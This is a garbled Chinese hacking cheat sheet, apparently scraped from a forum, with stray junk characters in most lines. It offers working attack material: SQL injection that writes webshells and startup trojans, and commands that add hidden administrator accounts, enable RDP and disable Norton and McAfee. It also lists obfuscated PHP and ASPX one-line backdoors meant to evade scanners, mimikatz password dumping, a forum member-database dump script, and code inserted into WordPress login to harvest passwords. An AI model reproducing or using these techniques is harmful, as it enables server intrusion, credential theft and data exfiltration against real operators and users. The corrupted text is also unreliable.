中文版本操作系统中针对mysql添加用户完整代码:
, l* K; Y9 w K6 Z0 R5 h* V) g8 ^) O i' v
use test;! C. \! Y7 \3 b8 |3 L
create table a (cmd text);7 M5 P; p( X! m4 v d
insert into a values ("set wshshell=createobject (""wscript.shell"") " );7 O5 n) O, h Q( Z, |3 ^( ]
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
g0 p. A( t1 c" kinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );4 m' t) K2 E* c6 f% R
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";" T. S S3 i' J* H, _; X4 E
drop table a;
( G) u2 b! ^" Z% K" y1 R, l0 g; g" o! }; M. Q5 i/ I+ T D
英文版本:0 M" s4 S9 R% Y1 h
1 @0 Z1 p7 D# l
use test;1 P" Y w' `6 M
create table a (cmd text);9 |- i. z7 y# s: J+ l3 K
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
# W: R' |. z: g \9 T" @5 X! ?4 \insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );3 A# t6 R( l/ @, R5 }
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
4 W# W8 W- P5 V, Jselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";. x6 a$ q: g c+ b- V$ K
drop table a;& Z- T6 k7 {7 W6 {) i% o
9 q" b' G+ ^5 A2 ycreate table a (cmd BLOB);$ W$ X7 }, M2 t4 A; D3 _7 G7 N& Z
insert into a values (CONVERT(木马的16进制代码,CHAR));
N& N- m9 {; ^select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
7 P$ L, G* v. c6 ?0 @! t4 }" tdrop table a;
; ]3 B \) y* U% G, B% H
; T" @3 S" d* m: `记录一下怎么处理变态诺顿. O4 C0 f4 c; g4 y# Z
查看诺顿服务的路径7 E) Y7 g' f9 D5 l( k+ k/ n
sc qc ccSetMgr
* w4 L: y" d3 p' ^4 g- t然后设置权限拒绝访问。做绝一点。。
1 m8 J: e! ^$ z7 A- r. Acacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system5 E( }: i% y" }
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"8 T& T: I9 [, f; r, P
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
/ ~: K9 k4 ]; t Ccacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone' J. T. N- }- @
# x- T* g+ e$ H
然后再重启服务器
0 n& Z8 O$ O6 P7 D) ziisreset /reboot" S4 N8 I9 I/ J) h' G+ z3 @
这样就搞定了。。不过完事后。记得恢复权限。。。。2 B3 G$ A- e& I, X& \6 p. U
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F9 _ ?$ ]1 Q+ Y1 B8 Y' a) m
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F' R7 y5 ~- |' e0 r; z: z
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
4 F& F% Y! B, h# E6 Xcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
7 Y6 u7 c$ V+ `) V3 s gSELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin
7 u! [7 @( z) v- ^/ h" K& e8 a
: g. K g! ]& l8 rEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
9 o4 g5 G! `5 ^& G! b& H$ G2 i2 y! P2 k; _
postgresql注射的一些东西
8 e+ K& a/ K. b' `如何获得webshell
" T4 ]1 r9 |) O) dhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
2 I0 r8 u. W6 p: ^5 }9 Mhttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); & b% ]% i9 `5 }! S
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
g$ Q0 a: O; Q k如何读文件
- d5 j% x: m8 X* M# u* }2 bhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);* M( A7 S' r& S' U
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;) M" ?$ s& U! K C
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
+ {" b' Q- e( a/ {+ r3 ?
. X" R4 L, N: m' M5 X& x- Jz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
" H- N" z& [+ j7 b% Q& s! r当然,这些的postgresql的数据库版本必须大于8.X( v1 `% q4 X4 U
创建一个system的函数:( `& r3 k$ l! q4 N6 W8 ]
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
% H4 L# i0 M; P1 @* _& c9 y& I4 V: o
创建一个输出表:- D' z) `: p; z# j7 ^+ s& ]
CREATE TABLE stdout(id serial, system_out text)
( A( ]6 f0 D2 Q; l7 z7 _% Q3 x! t5 m; m' s
执行shell,输出到输出表内:. `! R2 e1 w! ]
SELECT system('uname -a > /tmp/test'): T$ x- D' g! j) E1 w
: q9 o) P) R9 G9 w& h+ K3 S8 Mcopy 输出的内容到表里面;+ K* I O1 L, k9 y
COPY stdout(system_out) FROM '/tmp/test'% A( T7 I( d7 k' i4 Q# d1 k" _
$ H# m8 `6 s! X: y# O
从输出表内读取执行后的回显,判断是否执行成功* r) @8 I; [; H" `3 Q. u
6 E% C+ ~! U) ~; d0 X: E
SELECT system_out FROM stdout6 A2 s/ K W8 q4 Z: V* c
下面是测试例子6 w2 @. x1 H* p( T% Q( g- M$ g4 U3 C9 w) L
1 b$ _. P9 H9 p0 f( P9 d7 Y/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 8 o; b6 Y( B5 C8 x
: z, f' M, G9 I& [% J- X, n: V" Q
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
+ v6 v5 {+ N7 y6 O' ~7 lSTRICT --
7 a. p% @5 E5 w" {2 M/ v9 C
7 d) u9 k) A& d( u/store.php?id=1; SELECT system('uname -a > /tmp/test') --% \; ^6 A; `0 n; D4 [. H8 I& c
# k9 f \7 H8 ~2 A# n0 P
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
# ]2 w/ I8 e/ U2 [) D; K
5 y7 E$ V* x+ a7 o) l/ X/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--: F2 `! g* f0 B# v8 ~+ w
net stop sharedaccess stop the default firewall
, a% j5 r, Y4 f" O' J, anetsh firewall show show/config default firewall
. Y& L6 d: M4 ]& Wnetsh firewall set notifications disable disable the notify when the program is disabled by the default firewall* i! r: b( B4 b% u$ |% ~
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall+ j4 l2 d! q. K8 J0 y, c
修改3389端口方法(修改后不易被扫出)
9 o! O0 H! B5 ` v: @修改服务器端的端口设置,注册表有2个地方需要修改
& b& V6 W/ \2 a% [* h1 D1 u/ l: I l
5 ]3 F8 r4 t* x" l5 `) U[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
. u& H! g! _4 J8 WPortNumber值,默认是3389,修改成所希望的端口,比如6000
6 G5 f+ a. \* h/ s( i
$ ]/ G* d1 x9 R" Z! q% ?第二个地方:0 y7 u! _- s/ n4 n% ~' X/ \, n
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] & @" ~) q6 x# A& I3 p" P
PortNumber值,默认是3389,修改成所希望的端口,比如6000
: }& j8 w; @& M: k8 `' Z
' p( ~5 z7 V( E4 F7 C4 i2 \1 Y2 H现在这样就可以了。重启系统就可以了
) H A. ]4 ]% T' n- `! B" s' a4 r6 L+ R# s
查看3389远程登录的脚本6 K7 L% O; L% E$ l( ^: [
保存为一个bat文件! Q" I8 T0 N+ i @) U
date /t >>D:\sec\TSlog\ts.log5 w/ m* |$ C7 R
time /t >>D:\sec\TSlog\ts.log
7 |( f& \9 r Q9 ~netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log/ D) K A2 P& \4 ~% ~
start Explorer
3 x2 ]: Y- k% \& L5 t/ F6 m7 M0 k, j, t! ? y; k
mstsc的参数:' H/ T9 O7 i+ R$ v8 ]
4 d6 h) V! n1 _* X' h4 _
远程桌面连接
" Y( |. ?: G* f: @1 I4 O; Z0 C0 o7 y' h
MSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]) c. q/ V9 R% y, [
[/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?& n |. d: R8 N. C) {" D
- c% z- i3 t8 R1 D<Connection File> -- 指定连接的 .rdp 文件的名称。% S$ K1 U. _$ [' m( ]) O
% c, Q% X0 V1 a2 U! b( a. F# h
/v:<server[:port]> -- 指定要连接到的终端服务器。 ?7 g. K+ e/ A1 M$ z: c
' w! D8 ~5 K4 a
/console -- 连接到服务器的控制台会话。
" n' }" d o$ b# m) ~) ]0 r8 G) v
7 O! D: }5 G" d/f -- 以全屏模式启动客户端。
6 t* Q; {$ P/ K# W; E( A4 _% e# [$ i# b
/w:<width> -- 指定远程桌面屏幕的宽度。0 H0 l8 ]' d9 X5 \! y& H/ ]$ H. L
1 f' s0 m$ w. e. Z4 Y' C* ^- C& h7 k/h:<height> -- 指定远程桌面屏幕的高度。
3 @1 A& \# h3 [) x5 {
' t% P, y1 ^3 u$ j' f/ e/edit -- 打开指定的 .rdp 文件来编辑。/ l6 ^7 O8 P7 W( M' b9 O
$ R; ~, F$ F5 k7 i r4 o/migrate -- 将客户端连接管理器创建的旧版# t6 T( _$ x, \1 f
连接文件迁移到新的 .rdp 连接文件。' b% Y! L6 |, F* ?; C* V f
0 f& _# l' w5 @" \$ n; I
O. E# |1 F9 R. p( `$ q! R5 t0 B其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
* m8 \9 e* m* L _3 umstsc /console /v:124.42.126.xxx 突破终端访问限制数量( o. f" Z2 a* x% s% L5 _$ @
" a( s# I' S. O" H
命令行下开启3389
/ a. `9 }' Z, T5 f: H0 c5 bnet user asp.net aspnet /add& {* U! O* W4 @9 a2 ]: H
net localgroup Administrators asp.net /add
( I2 V+ ]- P0 S8 {: j) Qnet localgroup "Remote Desktop Users" asp.net /add
' f) k0 k! t) G0 Q$ a2 l: X7 ^9 wattrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D3 g" @! ?/ t# t: P$ C0 x6 v3 Z d
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0# ~" @2 J' b5 T) [5 b2 H0 O. z! c+ T
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 12 m) i, @* |6 v4 x
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f: D4 Q# k# N9 X f( }6 @
sc config rasman start= auto+ F% z; v; e2 V9 U
sc config remoteaccess start= auto
! N4 ~( r7 Q# X. g5 F) Xnet start rasman
5 V, x- D# B* F2 V% p" B8 H( {net start remoteaccess
5 t( O" x7 g5 d$ c: F3 s- ZMedia
6 d# N8 x. ~8 P3 M5 o& S5 b<form id="frmUpload" enctype="multipart/form-data"6 L0 w% u" H' [4 `& E' E
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
5 ~' A% @# p$ o$ s- a<input type="file" name="NewFile" size="50"><br>
, H/ f) f& _4 Y/ C: I<input id="btnUpload" type="submit" value="Upload">
4 K" C' ^# Y( q( i0 p- L* N</form>
5 M1 u" O1 ?% b" {. N7 x+ v+ n5 C! Y& v! n9 [, J6 G4 p
control userpasswords2 查看用户的密码
: Y. U9 e7 P, ~) W" s/ d7 D( Saccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径
! b; n- \! B3 X( X6 `( KSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
u7 _$ d/ x V3 X1 f6 B% R8 V" T5 s8 o& P; l
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:% I: h8 O4 n. Q q
测试1:8 W) I& r u e# [; T% K# r
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
6 u# o9 h: s4 ~8 F3 s7 s
9 W z- x+ ]2 C" R& E3 s! i" [测试2:
6 m% Q# r$ E+ m* V4 Y
/ C7 h; b/ w/ y& ycreate table dirs(paths varchar(100),paths1 varchar(100), id int)
: A, X! g$ p. ?! N) M7 v
! e* {) e9 S/ U# A- U/ zdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
7 V. s7 L4 J6 v, H! v$ I$ h7 b0 L! d/ m. E0 l, o3 |
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t11 x' _9 L! Q! n. F. X' v
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令
$ y! w- `: x X2 d$ ?3 g9 E- e可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;1 \( {, H% s; `" T1 o% B" L
net stop mcafeeframework
5 X2 H0 O2 }. z3 L! k9 G5 t; Jnet stop mcshield! Y9 Y3 c+ b: y1 I* a. ?$ ~. ]
net stop mcafeeengineservice# T" F9 w# c, m$ c2 K* ?
net stop mctaskmanager, {+ E* S) d, E; j; j% @$ x u9 D
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
) f8 ]# N+ ^! A/ H
+ ^, _* ]7 F4 E3 f VNCDump.zip (4.76 KB, 下载次数: 1)
. u+ m$ g5 N0 \# ~; F密码在线破解http://tools88.com/safe/vnc.php
1 Y' q: l/ |& S) h5 V0 f7 EVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取! }6 t! D" _3 h0 Y$ x- u# d
- ?) n/ l$ l" Z: ~3 f; k: [2 ]exec master..xp_cmdshell 'net user'
1 D: y' V; a& R# amssql执行命令。
+ p% L6 B0 |0 z- X1 T7 J/ E$ {: k7 U0 u获取mssql的密码hash查询% {, S, `9 i2 {, K
select name,password from master.dbo.sysxlogins
) n# } v1 t) `; L2 {$ H( j& i( W1 {
backup log dbName with NO_LOG;, I$ C/ b3 N, W+ ?1 [: v
backup log dbName with TRUNCATE_ONLY;
7 H. [9 ~0 m- U7 gDBCC SHRINKDATABASE(dbName);) E3 d- s7 h" t- P3 h! z
mssql数据库压缩' A$ E( u+ U8 R& L
7 e6 F0 N! A$ E1 W' ERar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK7 Q. m$ X* A, \! R2 H. c# _
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。$ Y- A, P% ]$ Q% j3 C" b6 v4 S8 A' A! j
8 E. Y* n: [" m3 [
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'; L% `0 P. e. C! ~
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak0 ]0 T/ ]+ M1 h
. i$ C% D( f/ E; E! ~
Discuz!nt35渗透要点:( W' O6 `# W- Z( a2 w4 f
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
2 @) j4 A2 h4 O2 W$ M(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
! L; }# M1 a( f0 B6 N5 C$ c(3)保存。
* M) u4 J& ^* x9 T0 @- E' w(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
' k& d/ A$ m. q5 c" w& ?d:\rar.exe a -r d:\1.rar d:\website\+ ?- J! F& Q$ v' @4 u' C8 G' t1 [
递归压缩website
) |9 |/ X3 i; T0 H1 L$ b3 z* `, C注意rar.exe的路径
% s# y/ Q6 l2 V( i
% z, B5 I7 u/ a5 ^0 Z0 |<?php
3 m8 u" y$ V/ D
: r }: J! ^5 a5 ?$telok = "0${@eval($_POST[xxoo])}";
. P) Q& s+ J9 U1 o& h) M; a& x* x9 C$ k# o. T4 y! ]
$username = "123456";
; f$ ? a5 m) q6 n7 R1 s! N$ W
& B9 H* o/ x5 U/ r% w2 }- p2 L$userpwd = "123456";
+ d1 P. f0 x& W, \) n8 }% z
( E) L- b. Z1 W4 c$telhao = "123456";# o1 O+ x7 x0 I: b/ y' N: p
~4 c* c! W% L J0 y2 s0 N0 N
$telinfo = "123456";
1 o; |8 m' Q# p' U8 g+ m! `* S- d+ }5 T9 E
?>% s' X9 f+ n6 T1 H Q% o3 N
php一句话未过滤插入一句话木马
9 Q6 ~' i- x$ I. d* C- N1 `
! {! Z! ^3 p3 u& b" j# v& ~# w站库分离脱裤技巧
3 ^; f: e" _. f: G2 M, O4 ?$ z0 mexec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'/ o3 @8 P. E1 Z7 g. r8 K, V
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'1 {, @: _3 N4 q1 a3 ^
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。0 a3 \' b4 s4 L) q, S9 Q2 W6 J5 J
这儿利用的是马儿的专家模式(自己写代码)。! c; ~0 z9 t. I1 c, t. r- x
ini_set('display_errors', 1);, V7 s: ^* j" ]: |6 M0 V0 J
set_time_limit(0);$ J0 r% r; y* k/ b- S
error_reporting(E_ALL);6 D& m6 I! g8 L3 d$ v
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
& i* b4 _6 N# ^$ ]( V4 qmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
$ x" f9 X7 K: F& x4 S+ w$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());! }5 F9 h# a* E$ W8 H/ N
$i = 0;
- n( l) _2 u6 R/ Z# ?$tmp = '';4 [1 |: F3 c: v8 v- u
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {% K. U5 i" F- I* _6 F5 _+ I
$i = $i+1;
6 R4 }9 V# ~& J9 H $tmp .= implode("::", $row)."\n";, X5 O4 E* X9 _
if(!($i%500)){//500条写入一个文件
4 e# F* R" R" Z, x $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
$ ?7 P& K4 r- E- ^( o6 c/ u: o file_put_contents($filename,$tmp);% J1 e. C. H4 N8 e
$tmp = '';
1 A# u1 m+ K1 C* W J5 S2 B0 S }5 Q7 c5 j% L# ?9 i4 P/ R; f+ r
}
# `2 }$ B, M3 ^! xmysql_free_result($result);9 u, R* I) s$ S/ C8 v" y& ^+ t8 B& }
) u! s' g! O8 E- I0 @9 h
. k4 z g; ^% P; o. l8 M3 [/ X) E2 J8 \+ i; p* P- M. G, r& X) b
//down完后delete
7 `0 U+ o3 i+ P, z6 v5 X1 I' @8 u) m: j* q, {$ b- J
' Y+ c. U7 n W" H9 |6 j( Z) C6 {, z) mini_set('display_errors', 1);$ ^: [$ c" \3 d; I
error_reporting(E_ALL);5 i) L1 b) W; ]! i1 C
$i = 0;
: f: A$ l+ b4 wwhile($i<32) {% k$ H9 l- g) t
$i = $i+1;
, s6 Y6 x: D5 k3 u5 y $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
4 n q) Y3 d. C4 a* W N* U( m unlink($filename);
, m$ V& z" n! o0 n}
! \1 p" @7 J5 j& r# s! hhttprint 收集操作系统指纹
# t- g, F4 U, _# U) `' o1 F3 T% e0 m7 d扫描192.168.1.100的所有端口! E, a$ Y& C! d5 j# Y
nmap –PN –sT –sV –p0-65535 192.168.1.100, K4 N" f+ p1 }/ |3 \" `- H% H
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
" `" j& X" _4 f% vhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输( t0 m- h* m9 ?! @' H" L5 Y( ^
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
1 Y# T+ S. `0 X+ X# a, x
( R; t, E% w4 DDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)) T% a' ~0 d' M: G! e
. j$ u7 p' F* b R# A; k8 b MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
6 K" L; M W) L) m, {4 G1 W, `, S1 B* W. F" D4 Z8 K; X7 U% \
Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x% w; j" Y1 u; E* M1 L6 b
3 ]. ?3 |8 g: s+ J, N) S DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
) O3 ~5 {& k5 {: x6 k- i
. u" ?- a: R) p) s http://net-square.com/msnpawn/index.shtml (要求安装), T U7 N* V; ^7 G7 u/ u) r9 o4 i
" Z8 _1 B+ Y* I, U6 [ tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的) q& B, l7 u; h) D
: @% l. m- E( B+ R' E SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
* ?- A9 _* b- _+ j1 pset names gb2312
$ o, K& Y9 b6 T2 ~8 [7 _9 o导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
' i( m* P& g- o. b- P6 C
/ |- k m! j& j; N ymysql 密码修改
( b' G: v- g7 Q& Z) v" LUPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ”
4 v2 z9 S; y! Oupdate user set password=PASSWORD('antian365.com') where user='root';
7 r+ `9 @' B" r+ Q0 aflush privileges;
# O: |2 l9 V" g: v9 [% p高级的PHP一句话木马后门7 D, s8 _) q+ {% A6 K* P
% d3 E7 Y6 [8 l* l3 p: z4 x/ `: G入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀 f9 h4 f& T# O3 b+ S2 E) y+ k" S
6 V; R$ G2 @: Z% p( ~9 V1 H3 A( {- t1、
4 R- @$ X5 s5 k
& `7 P. }/ |+ {' Q. P6 R' N$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";# `# h& L% j# p O! U' e
5 j' k6 F. J5 L/ v5 f/ f( d5 \
$hh("/[discuz]/e",$_POST['h'],"Access");
w4 Z% c1 g/ d* S: ]8 p0 [7 c& j. D2 R4 u$ m2 H3 I4 U
//菜刀一句话4 Q/ A9 N [. u
! [- v& o- Q# X1 `+ X- i2 a9 {2、) @" L+ u1 R* c/ }
1 `( y0 d1 N! C d: C
$filename=$_GET['xbid'];+ _* z8 ?, @* a$ p$ m
2 {0 ]- _& P! Vinclude ($filename);/ U& h3 O$ a. G% D
$ I# ]2 D3 V/ y) u* H; Z5 E: _//危险的include函数,直接编译任何文件为php格式运行
, a: Y1 j" J$ ^' a3 i
1 N# O9 S/ A0 [! A9 D( |. S% o8 S8 ~3、
5 r& e9 G" J8 T) p+ a/ S! W1 V* z
$reg="c"."o"."p"."y";
9 b3 E% R. H5 K" J; O5 N# C- D
. J7 t8 N7 ^" V7 n, O+ f$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);# ~: w9 {* k4 @. [+ _
2 D" V2 R- G) b8 J# ~. B//重命名任何文件
/ k& R& m ?6 a# b4 N7 i9 b+ u* {
- L9 F1 K6 m- _" Q- y9 |- V4、: X& J( y- s g# N# x4 |
/ A9 M5 V: ]" c' `+ j& [4 z
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";) B; d/ w) z% r" y
) G" H8 i. b0 C
$gzid("/[discuz]/e",$_POST['h'],"Access");
6 {& R1 J8 E) ?( x* y9 S' q! Y" ]3 _" S) _( B7 v5 S. E# q/ J
//菜刀一句话
0 x- x5 z; A5 Q: d3 \
! c8 h, b. q$ _% x5、include ($uid);4 I$ b: ^: V3 I5 n
2 ^2 l% D3 ~" W* z+ U8 Z ?/ K
//危险的include函数,直接编译任何文件为php格式运行,POST
" o; g3 j: `5 H3 N$ B5 d
2 n& U1 Q' l |
* x+ j% r6 u' D a//gif插一句话
$ J* F" L; `* f* ?! E7 c2 B3 P# s$ |# c2 S4 r! l" w) h W
6、典型一句话% C% `8 [9 w O5 w9 l
$ [$ x- |1 \: t0 Z/ v5 F
程序后门代码
7 U+ j& I# B) e& j' S- x& c) u<?php eval_r($_POST[sb])?>
3 P7 E3 U6 p0 v: n, l+ }+ Y程序代码) L' c+ |( }$ b: X
<?php @eval_r($_POST[sb])?>. r" M, r+ T! d1 Z
//容错代码1 n, B1 k, |8 H
程序代码
* F7 B, A9 Q2 [ e& C<?php assert($_POST[sb]);?>
+ i9 E$ ~$ h/ @# A% _//使用lanker一句话客户端的专家模式执行相关的php语句
. q, G; |( d' `# H& ~$ w# B/ a程序代码, y4 p" Z( [, A% @: c; F* e3 O/ f1 A
<?$_POST['sa']($_POST['sb']);?>
+ S+ w( H/ ?# h8 r5 \. v; P5 a7 G6 O程序代码
6 H/ `1 c. m5 @% O<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>) ]/ Q) }( E2 S1 S' E
程序代码3 D6 M. W4 ~2 T
<?php& f; W0 f( N" l6 u. w/ J
@preg_replace("/[email]/e",$_POST['h'],"error");$ ^" \0 Y4 p" T/ [' {; r9 g% L
?>" O- U1 B- D& R
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
6 I0 x1 M) P, _8 {+ \程序代码: I: z4 {$ M8 s
<O>h=@eval_r($_POST[c]);</O>; u, ?( Y, E4 A1 v1 C. o
程序代码4 Y0 a5 z b/ M0 J1 ^/ j9 x
<script language="php">@eval_r($_POST[sb])</script>
4 F! l, s3 q' Y5 ~0 q; k: y* [//绕过<?限制的一句话; L; o" g5 Y4 [! c4 l: n
$ v7 p4 u& i7 \: G
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip/ m p0 j+ s8 i/ b! D5 r+ k2 F# l3 b
详细用法:. g1 H/ h7 }4 X2 g% F* h( G
1、到tools目录。psexec \\127.0.0.1 cmd6 b7 r; R0 P. v
2、执行mimikatz8 \9 @5 y& [% l5 j3 }
3、执行 privilege::debug
. j9 }1 R1 w! s4、执行 inject::process lsass.exe sekurlsa.dll* P( o2 K5 @* \* H( y- i: ~7 C* l
5、执行@getLogonPasswords+ T/ n* o# T0 Z& b+ u9 G* f. }9 o
6、widget就是密码
) I- L9 `" v0 i! s7 a. }7、exit退出,不要直接关闭否则系统会崩溃。
8 ?. p" \, N, P9 }) x+ P* B' Z! ?
6 L: R2 e, E" K& l1 {/ K0 ~http://www.monyer.com/demo/monyerjs/ js解码网站比较全面: P R2 J9 ]% v; s) Y
. A2 b# J2 E+ m6 t6 u. `( @
自动查找系统高危补丁# c9 x. ?& H+ b: F
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
; ^2 K5 J7 N+ k" t& p$ z, a/ S9 L0 Q8 ]0 W
突破安全狗的一句话aspx后门, E/ j' W6 g; L3 O8 @
<%@ Page Language="C#" ValidateRequest="false" %>
7 t6 Z; c5 [: N6 S: c<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
* ]7 k1 P: ]% u, Awebshell下记录WordPress登陆密码
. i% u W3 e( Q6 Jwebshell下记录Wordpress登陆密码方便进一步社工) V3 D% V2 a4 t
在文件wp-login.php中539行处添加:! u' R( y! C2 c! \7 X' X: b. z
// log password
# l2 F+ T/ x$ X2 P4 W9 Z$log_user=$_POST['log'];0 B4 K1 T: L9 b, M7 o5 ~6 B. z. p
$log_pwd=$_POST['pwd'];
; @( T* K' u; z+ o/ q$log_ip=$_SERVER["REMOTE_ADDR"];# f+ ~& `7 X: z% C2 P/ L
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
, z7 R; O/ M# b' ?$txt=$txt.”\r\n”;6 A$ D$ V: ?# h3 v' A
if($log_user&&$log_pwd&&$log_ip){
6 m! H/ h6 Z1 a# D9 ?0 a/ d@fwrite(fopen(‘pwd.txt’,”a+”),$txt);' q) y! I$ x( \ t4 k
}
" L+ b! v5 \+ U: `1 R5 D当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
